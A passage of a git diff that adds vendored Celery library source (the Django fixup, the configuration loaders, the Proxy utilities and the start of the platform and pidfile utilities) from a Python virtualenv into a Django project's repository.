state:" + self.state + " task_id:" + self.task_id + + +class CeleryCommandException(ClickException): + """A general command exception which stores an exit code.""" + + def __init__(self, message, exit_code): + super().__init__(message=message) + self.exit_code = exit_code diff --git a/django_lottopy/lib/python3.10/site-packages/celery/fixups/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/fixups/__init__.py new file mode 100644 index 00000000..c565ca34 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/fixups/__init__.py @@ -0,0 +1 @@ +"""Fixups.""" diff --git a/django_lottopy/lib/python3.10/site-packages/celery/fixups/django.py b/django_lottopy/lib/python3.10/site-packages/celery/fixups/django.py new file mode 100644 index 00000000..019e695e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/fixups/django.py @@ -0,0 +1,204 @@ +"""Django-specific customization.""" +import os +import sys +import warnings +from datetime import datetime +from importlib import import_module + +from kombu.utils.imports import symbol_by_name +from kombu.utils.objects import cached_property + +from celery import _state, signals +from celery.exceptions import FixupWarning, ImproperlyConfigured + +__all__ = ('DjangoFixup', 'fixup') + +ERR_NOT_INSTALLED = """\ +Environment variable DJANGO_SETTINGS_MODULE is defined +but Django isn't installed. Won't apply Django fix-ups! +""" + + +def _maybe_close_fd(fh): + try: + os.close(fh.fileno()) + except (AttributeError, OSError, TypeError): + # TypeError added for celery#962 + pass + + +def _verify_django_version(django): + if django.VERSION < (1, 11): + raise ImproperlyConfigured('Celery 5.x requires Django 1.11 or later.') + + +def fixup(app, env='DJANGO_SETTINGS_MODULE'): + """Install Django fixup if settings module environment is set.""" + SETTINGS_MODULE = os.environ.get(env) + if SETTINGS_MODULE and 'django' not in app.loader_cls.lower(): + try: + import django + except ImportError: + warnings.warn(FixupWarning(ERR_NOT_INSTALLED)) + else: + _verify_django_version(django) + return DjangoFixup(app).install() + + +class DjangoFixup: + """Fixup installed when using Django.""" + + def __init__(self, app): + self.app = app + if _state.default_app is None: + self.app.set_default() + self._worker_fixup = None + + def install(self): + # Need to add project directory to path. + # The project directory has precedence over system modules, + # so we prepend it to the path. + sys.path.insert(0, os.getcwd()) + + self._settings = symbol_by_name('django.conf:settings') + self.app.loader.now = self.now + + signals.import_modules.connect(self.on_import_modules) + signals.worker_init.connect(self.on_worker_init) + return self + + @property + def worker_fixup(self): + if self._worker_fixup is None: + self._worker_fixup = DjangoWorkerFixup(self.app) + return self._worker_fixup + + @worker_fixup.setter + def worker_fixup(self, value): + self._worker_fixup = value + + def on_import_modules(self, **kwargs): + # call django.setup() before task modules are imported + self.worker_fixup.validate_models() + + def on_worker_init(self, **kwargs): + self.worker_fixup.install() + + def now(self, utc=False): + return datetime.utcnow() if utc else self._now() + + def autodiscover_tasks(self): + from django.apps import apps + return [config.name for config in apps.get_app_configs()] + + @cached_property + def _now(self): + return symbol_by_name('django.utils.timezone:now') + + +class DjangoWorkerFixup: + _db_recycles = 0 + + def __init__(self, app): + self.app = app + self.db_reuse_max = self.app.conf.get('CELERY_DB_REUSE_MAX', None) + self._db = import_module('django.db') + self._cache = import_module('django.core.cache') + self._settings = symbol_by_name('django.conf:settings') + + self.interface_errors = ( + symbol_by_name('django.db.utils.InterfaceError'), + ) + self.DatabaseError = symbol_by_name('django.db:DatabaseError') + + def django_setup(self): + import django + django.setup() + + def validate_models(self): + from django.core.checks import run_checks + self.django_setup() + run_checks() + + def install(self): + signals.beat_embedded_init.connect(self.close_database) + signals.worker_ready.connect(self.on_worker_ready) + signals.task_prerun.connect(self.on_task_prerun) + signals.task_postrun.connect(self.on_task_postrun) + signals.worker_process_init.connect(self.on_worker_process_init) + self.close_database() + self.close_cache() + return self + + def on_worker_process_init(self, **kwargs): + # Child process must validate models again if on Windows, + # or if they were started using execv. + if os.environ.get('FORKED_BY_MULTIPROCESSING'): + self.validate_models() + + # close connections: + # the parent process may have established these, + # so need to close them. + + # calling db.close() on some DB connections will cause + # the inherited DB conn to also get broken in the parent + # process so we need to remove it without triggering any + # network IO that close() might cause. + for c in self._db.connections.all(): + if c and c.connection: + self._maybe_close_db_fd(c.connection) + + # use the _ version to avoid DB_REUSE preventing the conn.close() call + self._close_database(force=True) + self.close_cache() + + def _maybe_close_db_fd(self, fd): + try: + _maybe_close_fd(fd) + except self.interface_errors: + pass + + def on_task_prerun(self, sender, **kwargs): + """Called before every task.""" + if not getattr(sender.request, 'is_eager', False): + self.close_database() + + def on_task_postrun(self, sender, **kwargs): + # See https://groups.google.com/group/django-users/ + # browse_thread/thread/78200863d0c07c6d/ + if not getattr(sender.request, 'is_eager', False): + self.close_database() + self.close_cache() + + def close_database(self, **kwargs): + if not self.db_reuse_max: + return self._close_database() + if self._db_recycles >= self.db_reuse_max * 2: + self._db_recycles = 0 + self._close_database() + self._db_recycles += 1 + + def _close_database(self, force=False): + for conn in self._db.connections.all(): + try: + if force: + conn.close() + else: + conn.close_if_unusable_or_obsolete() + except self.interface_errors: + pass + except self.DatabaseError as exc: + str_exc = str(exc) + if 'closed' not in str_exc and 'not connected' not in str_exc: + raise + + def close_cache(self): + try: + self._cache.close_caches() + except (TypeError, AttributeError): + pass + + def on_worker_ready(self, **kwargs): + if self._settings.DEBUG: + warnings.warn('''Using settings.DEBUG leads to a memory + leak, never use this setting in production environments!''') diff --git a/django_lottopy/lib/python3.10/site-packages/celery/loaders/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/loaders/__init__.py new file mode 100644 index 00000000..730a1fa2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/loaders/__init__.py @@ -0,0 +1,18 @@ +"""Get loader by name. + +Loaders define how configuration is read, what happens +when workers start, when tasks are executed and so on. +""" +from celery.utils.imports import import_from_cwd, symbol_by_name + +__all__ = ('get_loader_cls',) + +LOADER_ALIASES = { + 'app': 'celery.loaders.app:AppLoader', + 'default': 'celery.loaders.default:Loader', +} + + +def get_loader_cls(loader): + """Get loader class by name/alias.""" + return symbol_by_name(loader, LOADER_ALIASES, imp=import_from_cwd) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/loaders/app.py b/django_lottopy/lib/python3.10/site-packages/celery/loaders/app.py new file mode 100644 index 00000000..c9784c50 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/loaders/app.py @@ -0,0 +1,8 @@ +"""The default loader used with custom app instances.""" +from .base import BaseLoader + +__all__ = ('AppLoader',) + + +class AppLoader(BaseLoader): + """Default loader used when an app is specified.""" diff --git a/django_lottopy/lib/python3.10/site-packages/celery/loaders/base.py b/django_lottopy/lib/python3.10/site-packages/celery/loaders/base.py new file mode 100644 index 00000000..17f165d7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/loaders/base.py @@ -0,0 +1,273 @@ +"""Loader base class.""" +import importlib +import os +import re +import sys +from datetime import datetime + +from kombu.utils import json +from kombu.utils.objects import cached_property + +from celery import signals +from celery.exceptions import reraise +from celery.utils.collections import DictAttribute, force_mapping +from celery.utils.functional import maybe_list +from celery.utils.imports import (NotAPackage, find_module, import_from_cwd, + symbol_by_name) + +__all__ = ('BaseLoader',) + +_RACE_PROTECTION = False + +CONFIG_INVALID_NAME = """\ +Error: Module '{module}' doesn't exist, or it's not a valid \ +Python module name. +""" + +CONFIG_WITH_SUFFIX = CONFIG_INVALID_NAME + """\ +Did you mean '{suggest}'? +""" + +unconfigured = object() + + +class BaseLoader: + """Base class for loaders. + + Loaders handles, + + * Reading celery client/worker configurations. + + * What happens when a task starts? + See :meth:`on_task_init`. + + * What happens when the worker starts? + See :meth:`on_worker_init`. + + * What happens when the worker shuts down? + See :meth:`on_worker_shutdown`. + + * What modules are imported to find tasks? + """ + + builtin_modules = frozenset() + configured = False + override_backends = {} + worker_initialized = False + + _conf = unconfigured + + def __init__(self, app, **kwargs): + self.app = app + self.task_modules = set() + + def now(self, utc=True): + if utc: + return datetime.utcnow() + return datetime.now() + + def on_task_init(self, task_id, task): + """Called before a task is executed.""" + + def on_process_cleanup(self): + """Called after a task is executed.""" + + def on_worker_init(self): + """Called when the worker (:program:`celery worker`) starts.""" + + def on_worker_shutdown(self): + """Called when the worker (:program:`celery worker`) shuts down.""" + + def on_worker_process_init(self): + """Called when a child process starts.""" + + def import_task_module(self, module): + self.task_modules.add(module) + return self.import_from_cwd(module) + + def import_module(self, module, package=None): + return importlib.import_module(module, package=package) + + def import_from_cwd(self, module, imp=None, package=None): + return import_from_cwd( + module, + self.import_module if imp is None else imp, + package=package, + ) + + def import_default_modules(self): + responses = signals.import_modules.send(sender=self.app) + # Prior to this point loggers are not yet set up properly, need to + # check responses manually and reraised exceptions if any, otherwise + # they'll be silenced, making it incredibly difficult to debug. + for _, response in responses: + if isinstance(response, Exception): + raise response + return [self.import_task_module(m) for m in self.default_modules] + + def init_worker(self): + if not self.worker_initialized: + self.worker_initialized = True + self.import_default_modules() + self.on_worker_init() + + def shutdown_worker(self): + self.on_worker_shutdown() + + def init_worker_process(self): + self.on_worker_process_init() + + def config_from_object(self, obj, silent=False): + if isinstance(obj, str): + try: + obj = self._smart_import(obj, imp=self.import_from_cwd) + except (ImportError, AttributeError): + if silent: + return False + raise + self._conf = force_mapping(obj) + if self._conf.get('override_backends') is not None: + self.override_backends = self._conf['override_backends'] + return True + + def _smart_import(self, path, imp=None): + imp = self.import_module if imp is None else imp + if ':' in path: + # Path includes attribute so can just jump + # here (e.g., ``os.path:abspath``). + return symbol_by_name(path, imp=imp) + + # Not sure if path is just a module name or if it includes an + # attribute name (e.g., ``os.path``, vs, ``os.path.abspath``). + try: + return imp(path) + except ImportError: + # Not a module name, so try module + attribute. + return symbol_by_name(path, imp=imp) + + def _import_config_module(self, name): + try: + self.find_module(name) + except NotAPackage as exc: + if name.endswith('.py'): + reraise(NotAPackage, NotAPackage(CONFIG_WITH_SUFFIX.format( + module=name, suggest=name[:-3])), sys.exc_info()[2]) + raise NotAPackage(CONFIG_INVALID_NAME.format(module=name)) from exc + else: + return self.import_from_cwd(name) + + def find_module(self, module): + return find_module(module) + + def cmdline_config_parser(self, args, namespace='celery', + re_type=re.compile(r'\((\w+)\)'), + extra_types=None, + override_types=None): + extra_types = extra_types if extra_types else {'json': json.loads} + override_types = override_types if override_types else { + 'tuple': 'json', + 'list': 'json', + 'dict': 'json' + } + from celery.app.defaults import NAMESPACES, Option + namespace = namespace and namespace.lower() + typemap = dict(Option.typemap, **extra_types) + + def getarg(arg): + """Parse single configuration from command-line.""" + # ## find key/value + # ns.key=value|ns_key=value (case insensitive) + key, value = arg.split('=', 1) + key = key.lower().replace('.', '_') + + # ## find name-space. + # .key=value|_key=value expands to default name-space. + if key[0] == '_': + ns, key = namespace, key[1:] + else: + # find name-space part of key + ns, key = key.split('_', 1) + + ns_key = (ns and ns + '_' or '') + key + + # (type)value makes cast to custom type. + cast = re_type.match(value) + if cast: + type_ = cast.groups()[0] + type_ = override_types.get(type_, type_) + value = value[len(cast.group()):] + value = typemap[type_](value) + else: + try: + value = NAMESPACES[ns.lower()][key].to_python(value) + except ValueError as exc: + # display key name in error message. + raise ValueError(f'{ns_key!r}: {exc}') + return ns_key, value + return dict(getarg(arg) for arg in args) + + def read_configuration(self, env='CELERY_CONFIG_MODULE'): + try: + custom_config = os.environ[env] + except KeyError: + pass + else: + if custom_config: + usercfg = self._import_config_module(custom_config) + return DictAttribute(usercfg) + + def autodiscover_tasks(self, packages, related_name='tasks'): + self.task_modules.update( + mod.__name__ for mod in autodiscover_tasks(packages or (), + related_name) if mod) + + @cached_property + def default_modules(self): + return ( + tuple(self.builtin_modules) + + tuple(maybe_list(self.app.conf.imports)) + + tuple(maybe_list(self.app.conf.include)) + ) + + @property + def conf(self): + """Loader configuration.""" + if self._conf is unconfigured: + self._conf = self.read_configuration() + return self._conf + + +def autodiscover_tasks(packages, related_name='tasks'): + global _RACE_PROTECTION + + if _RACE_PROTECTION: + return () + _RACE_PROTECTION = True + try: + return [find_related_module(pkg, related_name) for pkg in packages] + finally: + _RACE_PROTECTION = False + + +def find_related_module(package, related_name): + """Find module in package.""" + # Django 1.7 allows for specifying a class name in INSTALLED_APPS. + # (Issue #2248). + try: + module = importlib.import_module(package) + if not related_name and module: + return module + except ImportError: + package, _, _ = package.rpartition('.') + if not package: + raise + + module_name = f'{package}.{related_name}' + + try: + return importlib.import_module(module_name) + except ImportError as e: + import_exc_name = getattr(e, 'name', module_name) + if import_exc_name is not None and import_exc_name != module_name: + raise e + return diff --git a/django_lottopy/lib/python3.10/site-packages/celery/loaders/default.py b/django_lottopy/lib/python3.10/site-packages/celery/loaders/default.py new file mode 100644 index 00000000..b49634c2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/loaders/default.py @@ -0,0 +1,42 @@ +"""The default loader used when no custom app has been initialized.""" +import os +import warnings + +from celery.exceptions import NotConfigured +from celery.utils.collections import DictAttribute +from celery.utils.serialization import strtobool + +from .base import BaseLoader + +__all__ = ('Loader', 'DEFAULT_CONFIG_MODULE') + +DEFAULT_CONFIG_MODULE = 'celeryconfig' + +#: Warns if configuration file is missing if :envvar:`C_WNOCONF` is set. +C_WNOCONF = strtobool(os.environ.get('C_WNOCONF', False)) + + +class Loader(BaseLoader): + """The loader used by the default app.""" + + def setup_settings(self, settingsdict): + return DictAttribute(settingsdict) + + def read_configuration(self, fail_silently=True): + """Read configuration from :file:`celeryconfig.py`.""" + configname = os.environ.get('CELERY_CONFIG_MODULE', + DEFAULT_CONFIG_MODULE) + try: + usercfg = self._import_config_module(configname) + except ImportError: + if not fail_silently: + raise + # billiard sets this if forked using execv + if C_WNOCONF and not os.environ.get('FORKED_BY_MULTIPROCESSING'): + warnings.warn(NotConfigured( + 'No {module} module found! Please make sure it exists and ' + 'is available to Python.'.format(module=configname))) + return self.setup_settings({}) + else: + self.configured = True + return self.setup_settings(usercfg) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/local.py b/django_lottopy/lib/python3.10/site-packages/celery/local.py new file mode 100644 index 00000000..6eed1919 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/local.py @@ -0,0 +1,552 @@ +"""Proxy/PromiseProxy implementation. + +This module contains critical utilities that needs to be loaded as +soon as possible, and that shall not load any third party modules. + +Parts of this module is Copyright by Werkzeug Team. +""" + +import operator +import sys +from functools import reduce +from importlib import import_module +from types import ModuleType + +__all__ = ('Proxy', 'PromiseProxy', 'try_import', 'maybe_evaluate') + +__module__ = __name__ # used by Proxy class body + + +def _default_cls_attr(name, type_, cls_value): + # Proxy uses properties to forward the standard + # class attributes __module__, __name__ and __doc__ to the real + # object, but these needs to be a string when accessed from + # the Proxy class directly. This is a hack to make that work. + # -- See Issue #1087. + + def __new__(cls, getter): + instance = type_.__new__(cls, cls_value) + instance.__getter = getter + return instance + + def __get__(self, obj, cls=None): + return self.__getter(obj) if obj is not None else self + + return type(name, (type_,), { + '__new__': __new__, '__get__': __get__, + }) + + +def try_import(module, default=None): + """Try to import and return module. + + Returns None if the module does not exist. + """ + try: + return import_module(module) + except ImportError: + return default + + +class Proxy: + """Proxy to another object.""" + + # Code stolen from werkzeug.local.Proxy. + __slots__ = ('__local', '__args', '__kwargs', '__dict__') + + def __init__(self, local, + args=None, kwargs=None, name=None, __doc__=None): + object.__setattr__(self, '_Proxy__local', local) + object.__setattr__(self, '_Proxy__args', args or ()) + object.__setattr__(self, '_Proxy__kwargs', kwargs or {}) + if name is not None: + object.__setattr__(self, '__custom_name__', name) + if __doc__ is not None: + object.__setattr__(self, '__doc__', __doc__) + + @_default_cls_attr('name', str, __name__) + def __name__(self): + try: + return self.__custom_name__ + except AttributeError: + return self._get_current_object().__name__ + + @_default_cls_attr('qualname', str, __name__) + def __qualname__(self): + try: + return self.__custom_name__ + except AttributeError: + return self._get_current_object().__qualname__ + + @_default_cls_attr('module', str, __module__) + def __module__(self): + return self._get_current_object().__module__ + + @_default_cls_attr('doc', str, __doc__) + def __doc__(self): + return self._get_current_object().__doc__ + + def _get_class(self): + return self._get_current_object().__class__ + + @property + def __class__(self): + return self._get_class() + + def _get_current_object(self): + """Get current object. + + This is useful if you want the real + object behind the proxy at a time for performance reasons or because + you want to pass the object into a different context. + """ + loc = object.__getattribute__(self, '_Proxy__local') + if not hasattr(loc, '__release_local__'): + return loc(*self.__args, **self.__kwargs) + try: # pragma: no cover + # not sure what this is about + return getattr(loc, self.__name__) + except AttributeError: # pragma: no cover + raise RuntimeError(f'no object bound to {self.__name__}') + + @property + def __dict__(self): + try: + return self._get_current_object().__dict__ + except RuntimeError: # pragma: no cover + raise AttributeError('__dict__') + + def __repr__(self): + try: + obj = self._get_current_object() + except RuntimeError: # pragma: no cover + return f'<{self.__class__.__name__} unbound>' + return repr(obj) + + def __bool__(self): + try: + return bool(self._get_current_object()) + except RuntimeError: # pragma: no cover + return False + + __nonzero__ = __bool__ # Py2 + + def __dir__(self): + try: + return dir(self._get_current_object()) + except RuntimeError: # pragma: no cover + return [] + + def __getattr__(self, name): + if name == '__members__': + return dir(self._get_current_object()) + return getattr(self._get_current_object(), name) + + def __setitem__(self, key, value): + self._get_current_object()[key] = value + + def __delitem__(self, key): + del self._get_current_object()[key] + + def __setslice__(self, i, j, seq): + self._get_current_object()[i:j] = seq + + def __delslice__(self, i, j): + del self._get_current_object()[i:j] + + def __setattr__(self, name, value): + setattr(self._get_current_object(), name, value) + + def __delattr__(self, name): + delattr(self._get_current_object(), name) + + def __str__(self): + return str(self._get_current_object()) + + def __lt__(self, other): + return self._get_current_object() < other + + def __le__(self, other): + return self._get_current_object() <= other + + def __eq__(self, other): + return self._get_current_object() == other + + def __ne__(self, other): + return self._get_current_object() != other + + def __gt__(self, other): + return self._get_current_object() > other + + def __ge__(self, other): + return self._get_current_object() >= other + + def __hash__(self): + return hash(self._get_current_object()) + + def __call__(self, *a, **kw): + return self._get_current_object()(*a, **kw) + + def __len__(self): + return len(self._get_current_object()) + + def __getitem__(self, i): + return self._get_current_object()[i] + + def __iter__(self): + return iter(self._get_current_object()) + + def __contains__(self, i): + return i in self._get_current_object() + + def __getslice__(self, i, j): + return self._get_current_object()[i:j] + + def __add__(self, other): + return self._get_current_object() + other + + def __sub__(self, other): + return self._get_current_object() - other + + def __mul__(self, other): + return self._get_current_object() * other + + def __floordiv__(self, other): + return self._get_current_object() // other + + def __mod__(self, other): + return self._get_current_object() % other + + def __divmod__(self, other): + return self._get_current_object().__divmod__(other) + + def __pow__(self, other): + return self._get_current_object() ** other + + def __lshift__(self, other): + return self._get_current_object() << other + + def __rshift__(self, other): + return self._get_current_object() >> other + + def __and__(self, other): + return self._get_current_object() & other + + def __xor__(self, other): + return self._get_current_object() ^ other + + def __or__(self, other): + return self._get_current_object() | other + + def __div__(self, other): + return self._get_current_object().__div__(other) + + def __truediv__(self, other): + return self._get_current_object().__truediv__(other) + + def __neg__(self): + return -(self._get_current_object()) + + def __pos__(self): + return +(self._get_current_object()) + + def __abs__(self): + return abs(self._get_current_object()) + + def __invert__(self): + return ~(self._get_current_object()) + + def __complex__(self): + return complex(self._get_current_object()) + + def __int__(self): + return int(self._get_current_object()) + + def __float__(self): + return float(self._get_current_object()) + + def __oct__(self): + return oct(self._get_current_object()) + + def __hex__(self): + return hex(self._get_current_object()) + + def __index__(self): + return self._get_current_object().__index__() + + def __coerce__(self, other): + return self._get_current_object().__coerce__(other) + + def __enter__(self): + return self._get_current_object().__enter__() + + def __exit__(self, *a, **kw): + return self._get_current_object().__exit__(*a, **kw) + + def __reduce__(self): + return self._get_current_object().__reduce__() + + +class PromiseProxy(Proxy): + """Proxy that evaluates object once. + + :class:`Proxy` will evaluate the object each time, while the + promise will only evaluate it once. + """ + + __slots__ = ('__pending__', '__weakref__') + + def _get_current_object(self): + try: + return object.__getattribute__(self, '__thing') + except AttributeError: + return self.__evaluate__() + + def __then__(self, fun, *args, **kwargs): + if self.__evaluated__(): + return fun(*args, **kwargs) + from collections import deque + try: + pending = object.__getattribute__(self, '__pending__') + except AttributeError: + pending = None + if pending is None: + pending = deque() + object.__setattr__(self, '__pending__', pending) + pending.append((fun, args, kwargs)) + + def __evaluated__(self): + try: + object.__getattribute__(self, '__thing') + except AttributeError: + return False + return True + + def __maybe_evaluate__(self): + return self._get_current_object() + + def __evaluate__(self, + _clean=('_Proxy__local', + '_Proxy__args', + '_Proxy__kwargs')): + try: + thing = Proxy._get_current_object(self) + except Exception: + raise + else: + object.__setattr__(self, '__thing', thing) + for attr in _clean: + try: + object.__delattr__(self, attr) + except AttributeError: # pragma: no cover + # May mask errors so ignore + pass + try: + pending = object.__getattribute__(self, '__pending__') + except AttributeError: + pass + else: + try: + while pending: + fun, args, kwargs = pending.popleft() + fun(*args, **kwargs) + finally: + try: + object.__delattr__(self, '__pending__') + except AttributeError: # pragma: no cover + pass + return thing + + +def maybe_evaluate(obj): + """Attempt to evaluate promise, even if obj is not a promise.""" + try: + return obj.__maybe_evaluate__() + except AttributeError: + return obj + + +# ############# Module Generation ########################## + +# Utilities to dynamically +# recreate modules, either for lazy loading or +# to create old modules at runtime instead of +# having them litter the source tree. + +# import fails in python 2.5. fallback to reduce in stdlib + + +MODULE_DEPRECATED = """ +The module %s is deprecated and will be removed in a future version. +""" + +DEFAULT_ATTRS = {'__file__', '__path__', '__doc__', '__all__'} + + +# im_func is no longer available in Py3. +# instead the unbound method itself can be used. +def fun_of_method(method): + return method + + +def getappattr(path): + """Get attribute from current_app recursively. + + Example: ``getappattr('amqp.get_task_consumer')``. + + """ + from celery import current_app + return current_app._rgetattr(path) + + +COMPAT_MODULES = { + 'celery': { + 'execute': { + 'send_task': 'send_task', + }, + 'log': { + 'get_default_logger': 'log.get_default_logger', + 'setup_logger': 'log.setup_logger', + 'setup_logging_subsystem': 'log.setup_logging_subsystem', + 'redirect_stdouts_to_logger': 'log.redirect_stdouts_to_logger', + }, + 'messaging': { + 'TaskConsumer': 'amqp.TaskConsumer', + 'establish_connection': 'connection', + 'get_consumer_set': 'amqp.TaskConsumer', + }, + 'registry': { + 'tasks': 'tasks', + }, + }, +} + +#: We exclude these from dir(celery) +DEPRECATED_ATTRS = set(COMPAT_MODULES['celery'].keys()) | {'subtask'} + + +class class_property: + + def __init__(self, getter=None, setter=None): + if getter is not None and not isinstance(getter, classmethod): + getter = classmethod(getter) + if setter is not None and not isinstance(setter, classmethod): + setter = classmethod(setter) + self.__get = getter + self.__set = setter + + info = getter.__get__(object) # just need the info attrs. + self.__doc__ = info.__doc__ + self.__name__ = info.__name__ + self.__module__ = info.__module__ + + def __get__(self, obj, type=None): + if obj and type is None: + type = obj.__class__ + return self.__get.__get__(obj, type)() + + def __set__(self, obj, value): + if obj is None: + return self + return self.__set.__get__(obj)(value) + + def setter(self, setter): + return self.__class__(self.__get, setter) + + +def reclassmethod(method): + return classmethod(fun_of_method(method)) + + +class LazyModule(ModuleType): + _compat_modules = () + _all_by_module = {} + _direct = {} + _object_origins = {} + + def __getattr__(self, name): + if name in self._object_origins: + module = __import__(self._object_origins[name], None, None, + [name]) + for item in self._all_by_module[module.__name__]: + setattr(self, item, getattr(module, item)) + return getattr(module, name) + elif name in self._direct: # pragma: no cover + module = __import__(self._direct[name], None, None, [name]) + setattr(self, name, module) + return module + return ModuleType.__getattribute__(self, name) + + def __dir__(self): + return [ + attr for attr in set(self.__all__) | DEFAULT_ATTRS + if attr not in DEPRECATED_ATTRS + ] + + def __reduce__(self): + return import_module, (self.__name__,) + + +def create_module(name, attrs, cls_attrs=None, pkg=None, + base=LazyModule, prepare_attr=None): + fqdn = '.'.join([pkg.__name__, name]) if pkg else name + cls_attrs = {} if cls_attrs is None else cls_attrs + pkg, _, modname = name.rpartition('.') + cls_attrs['__module__'] = pkg + + attrs = { + attr_name: (prepare_attr(attr) if prepare_attr else attr) + for attr_name, attr in attrs.items() + } + module = sys.modules[fqdn] = type( + modname, (base,), cls_attrs)(name) + module.__dict__.update(attrs) + return module + + +def recreate_module(name, compat_modules=None, by_module=None, direct=None, + base=LazyModule, **attrs): + compat_modules = compat_modules or () + by_module = by_module or {} + direct = direct or {} + old_module = sys.modules[name] + origins = get_origins(by_module) + compat_modules = COMPAT_MODULES.get(name, ()) + + _all = tuple(set(reduce( + operator.add, + [tuple(v) for v in [compat_modules, origins, direct, attrs]], + ))) + cattrs = { + '_compat_modules': compat_modules, + '_all_by_module': by_module, '_direct': direct, + '_object_origins': origins, + '__all__': _all, + } + new_module = create_module(name, attrs, cls_attrs=cattrs, base=base) + new_module.__dict__.update({ + mod: get_compat_module(new_module, mod) for mod in compat_modules + }) + return old_module, new_module + + +def get_compat_module(pkg, name): + def prepare(attr): + if isinstance(attr, str): + return Proxy(getappattr, (attr,)) + return attr + + attrs = COMPAT_MODULES[pkg.__name__][name] + if isinstance(attrs, str): + fqdn = '.'.join([pkg.__name__, name]) + module = sys.modules[fqdn] = import_module(attrs) + return module + attrs['__all__'] = list(attrs) + return create_module(name, dict(attrs), pkg=pkg, prepare_attr=prepare) + + +def get_origins(defs): + origins = {} + for module, attrs in defs.items(): + origins.update({attr: module for attr in attrs}) + return origins diff --git a/django_lottopy/lib/python3.10/site-packages/celery/platforms.py b/django_lottopy/lib/python3.10/site-packages/celery/platforms.py new file mode 100644 index 00000000..8af1876f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/platforms.py @@ -0,0 +1,842 @@ +"""Platforms. + +Utilities dealing with platform specifics: signals, daemonization, +users, groups, and so on. +""" + +import atexit +import errno +import math +import numbers +import os +import platform as _platform +import signal as _signal +import sys +import warnings +from collections import namedtuple +from contextlib import contextmanager + +from billiard.compat import close_open_fds, get_fdmax +from billiard.util import set_pdeathsig as _set_pdeathsig +# fileno used to be in this module +from kombu.utils.compat import maybe_fileno +from kombu.utils.encoding import safe_str + +from .exceptions import SecurityError, SecurityWarning, reraise +from .local import try_import + +try: + from billiard.process import current_process +except ImportError: # pragma: no cover + current_process = None + +_setproctitle = try_import('setproctitle') +resource = try_import('resource') +pwd = try_import('pwd') +grp = try_import('grp') +mputil = try_import('multiprocessing.util') + +__all__ = ( + 'EX_OK', 'EX_FAILURE', 'EX_UNAVAILABLE', 'EX_USAGE', 'SYSTEM', + 'IS_macOS', 'IS_WINDOWS', 'SIGMAP', 'pyimplementation', 'LockFailed', + 'get_fdmax', 'Pidfile', 'create_pidlock', 'close_open_fds', + 'DaemonContext', 'detached', 'parse_uid', 'parse_gid', 'setgroups', + 'initgroups', 'setgid', 'setuid', 'maybe_drop_privileges', 'signals', + 'signal_name', 'set_process_title', 'set_mp_process_title', + 'get_errno_name', 'ignore_errno', 'fd_by_path', 'isatty', +) + +# exitcodes +EX_OK = getattr(os, 'EX_OK', 0) +EX_FAILURE = 1 +EX_UNAVAILABLE = getattr(os, 'EX_UNAVAILABLE', 69) +EX_USAGE = getattr(os, 'EX_USAGE', 64) +EX_CANTCREAT = getattr(os, 'EX_CANTCREAT', 73) + +SYSTEM = _platform.system() +IS_macOS = SYSTEM == 'Darwin' +IS_WINDOWS = SYSTEM == 'Windows' + +DAEMON_WORKDIR = '/' + +PIDFILE_FLAGS = os.O_CREAT | os.O_EXCL | os.O_WRONLY +PIDFILE_MODE = ((os.R_OK | os.W_OK) << 6) | ((os.R_OK) << 3) | (os.R_OK) + +PIDLOCKED = """ERROR: Pidfile ({0}) already exists. +Seems we're already running? (pid: {1})""" + +_range = namedtuple('_range', ('start', 'stop')) + +ROOT_DISALLOWED = """\ +Running a worker with superuser privileges when the +worker accepts messages serialized with pickle is a very bad idea! + +If you really want to continue then you have to set the C_FORCE_ROOT +environment variable (but please think about this before you do). + +User information: uid={uid} euid={euid} gid={gid} egid={egid} +""" + +ROOT_DISCOURAGED = """\ +You're running the worker with superuser privileges: this is +absolutely not recommended! + +Please specify a different user using the --uid option. + +User information: uid={uid} euid={euid} gid={gid} egid={egid} +""" + +ASSUMING_ROOT = """\ +An entry for the specified gid or egid was not found. +We're assuming this is a potential security issue. +""" + +SIGNAMES = { + sig for sig in dir(_signal) + if sig.startswith('SIG') and '_' not in sig +} +SIGMAP = {getattr(_signal, name): name for name in SIGNAMES} + + +def isatty(fh): + """Return true if the process has a controlling terminal.""" + try: + return fh.isatty() + except AttributeError: + pass + + +def pyimplementation(): + """Return string identifying the current Python implementation.""" + if hasattr(_platform, 'python_implementation'): + return _platform.python_implementation() + elif sys.platform.startswith('java'): + return 'Jython ' + sys.platform + elif hasattr(sys, 'pypy_version_info'): + v = '.'.join(str(p) for p in sys.pypy_version_info[:3]) + if sys.pypy_version_info[3:]: + v += '-' + ''.join(str(p) for p in sys.pypy_version_info[3:]) + return 'PyPy ' + v + else: + return 'CPython' + + +class LockFailed(Exception): + """Raised if a PID lock can't be acquired.""" + + +class Pidfile: + """Pidfile. + + This is the type returned by :func:`create_pidlock`. + + See Also: + Best practice is to not use this directly but rather use + the :func:`create_pidlock` function instead: + more convenient and also removes stale pidfiles (when + the process holding the lock is no longer running). + """ + + #: Path to the pid lock file. + path = None + + def __init__(self, path): + self.path = os.path.abspath(path) + + def acquire(self): + """Acquire lock.""" + try: + self.write_pid() + except OSError as exc: + reraise(LockFailed, LockFailed(str(exc)), sys.exc_info()[2]) + return self + + __enter__ = acquire + + def is_locked(self): + """Return true if the pid lock exists.""" + return os.path.exists(self.path) + + def release(self, *args): + """Release lock.""" + self.remove() + + __exit__ = release + + def read_pid(self): + """Read and return the current pid.""" + with ignore_errno('ENOENT'): + with open(self.path) as fh: + line = fh.readline() + if line.strip() == line: # must contain '\n' + raise ValueError( + f'Partial or invalid pidfile {self.path}') + + try: + return int(line.strip()) + except ValueError: + raise ValueError( + f'pidfile {self.path} contents invalid.') + + def remove(self): + """Remove the lock.""" + with ignore_errno(errno.ENOENT, errno.EACCES): + os.unlink(self.path) + + def remove_if_stale(self): + """Remove the lock if the process isn't running. + + I.e. 